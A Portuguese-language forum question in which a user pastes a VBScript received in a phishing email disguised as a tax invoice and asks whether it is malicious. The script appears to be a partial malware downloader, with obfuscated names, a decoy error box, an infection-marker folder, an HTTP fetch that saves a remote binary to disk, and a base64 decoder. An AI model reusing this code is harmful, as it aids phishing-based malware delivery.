tanusrj Postado Julho 12, 2019 Denunciar Share Postado Julho 12, 2019 Olá. Recebi esse código por email se fazendo passar por nota fiscal da receita federal será que é malicioso? se sim, o que eu uso pra limpar o PC? Set wshShell = CreateObject("WScript.Shell") Const b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" qqrtuwwyzBBD = "c:\nvidiap" iiklnooqsttvx = "" Function RRTTVWYYabddeg() Set mqXFFRJUWm = CreateObject("Scripting.FileSystemObject") If (mqXFFRJUWm.FolderExists((qqrtuwwyzBBD) )) Then WScript.Quit() End If End Function WScript.Sleep 118 Function vxxyACDFFGIIKL() Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") objXMLHTTP.open "GET", nnprsuuwxzzBCCEF, false objXMLHTTP.send() If objXMLHTTP.Status = 200 Then Set objADOStream = CreateObject("ADODB.Stream") objADOStream.Open objADOStream.Type = 1 'adTypeBinary objADOStream.Write objXMLHTTP.ResponseBody objADOStream.Position = 0 Set objFSO = Createobject("Scripting.FileSystemObject") If objFSO.Fileexists(uuvvzzACDDF) Then objFSO.DeleteFile strHDLocation Set objFSO = Nothing objADOStream.SaveToFile uuvvzzACDDF objADOStream.Close Set objADOStream = Nothing End if End Function RRTTVWYYabddeg msgbox " FILE NOT FOUND " ,vbInformation,"Windows" Dim oFSO Set oFSO = CreateObject("Scripting.FileSystemObject") oFSO.CreateFolder qqrtuwwyzBBD WScript.Sleep 5018 Function VWYYabddfg(b64String) Dim intLen, sOut, groupBegin b64String = Replace(b64String, vbCrLf, "") b64String = Replace(b64String, vbTab, "") b64String = Replace(b64String, " ", "") intLen = Len(b64String) For groupBegin = 1 To intLen Step 4 Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut numDataBytes = 3 nGroup = 0 For CharCounter = 0 To 3 thisChar = Mid(b64String, groupBegin + CharCounter, 1) If thisChar = "=" Then numDataBytes = numDataBytes - 1 thisData = 0 Else thisData = InStr(1, b64, thisChar, vbBinaryCompare) - 1 End If nGroup = 64 * nGroup + thisData Next nGroup = Hex(nGroup) nGroup = String(6 - Len(nGroup), "0") & nGroup pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _ Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _ Chr(CByte("&H" & Mid(nGroup, 5, 2))) sOut = sOut & Left(pOut, numDataBytes) Next VWYYabddfg = sOut End Function Citar Link para o comentário Compartilhar em outros sites More sharing options...
Pergunta
tanusrj
Olá.
Recebi esse código por email se fazendo passar por nota fiscal da receita federal será que é malicioso? se sim, o que eu uso pra limpar o PC?
Set wshShell = CreateObject("WScript.Shell")
Const b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
qqrtuwwyzBBD = "c:\nvidiap"
iiklnooqsttvx = ""
Function RRTTVWYYabddeg()
Set mqXFFRJUWm = CreateObject("Scripting.FileSystemObject")
If (mqXFFRJUWm.FolderExists((qqrtuwwyzBBD) )) Then
WScript.Quit()
End If
End Function
WScript.Sleep 118
Function vxxyACDFFGIIKL()
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", nnprsuuwxzzBCCEF, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(uuvvzzACDDF) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile uuvvzzACDDF
objADOStream.Close
Set objADOStream = Nothing
End if
End Function
RRTTVWYYabddeg
msgbox " FILE NOT FOUND " ,vbInformation,"Windows"
Dim oFSO
Set oFSO = CreateObject("Scripting.FileSystemObject")
oFSO.CreateFolder qqrtuwwyzBBD
WScript.Sleep 5018
Function VWYYabddfg(b64String)
Dim intLen, sOut, groupBegin
b64String = Replace(b64String, vbCrLf, "")
b64String = Replace(b64String, vbTab, "")
b64String = Replace(b64String, " ", "")
intLen = Len(b64String)
For groupBegin = 1 To intLen Step 4
Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
numDataBytes = 3
nGroup = 0
For CharCounter = 0 To 3
thisChar = Mid(b64String, groupBegin + CharCounter, 1)
If thisChar = "=" Then
numDataBytes = numDataBytes - 1
thisData = 0
Else
thisData = InStr(1, b64, thisChar, vbBinaryCompare) - 1
End If
nGroup = 64 * nGroup + thisData
Next
nGroup = Hex(nGroup)
nGroup = String(6 - Len(nGroup), "0") & nGroup
pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
Chr(CByte("&H" & Mid(nGroup, 5, 2)))
sOut = sOut & Left(pOut, numDataBytes)
Next
VWYYabddfg = sOut
End Function
Link para o comentário
Compartilhar em outros sites
0 respostass a esta questão
Posts Recomendados
Participe da discussão
Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.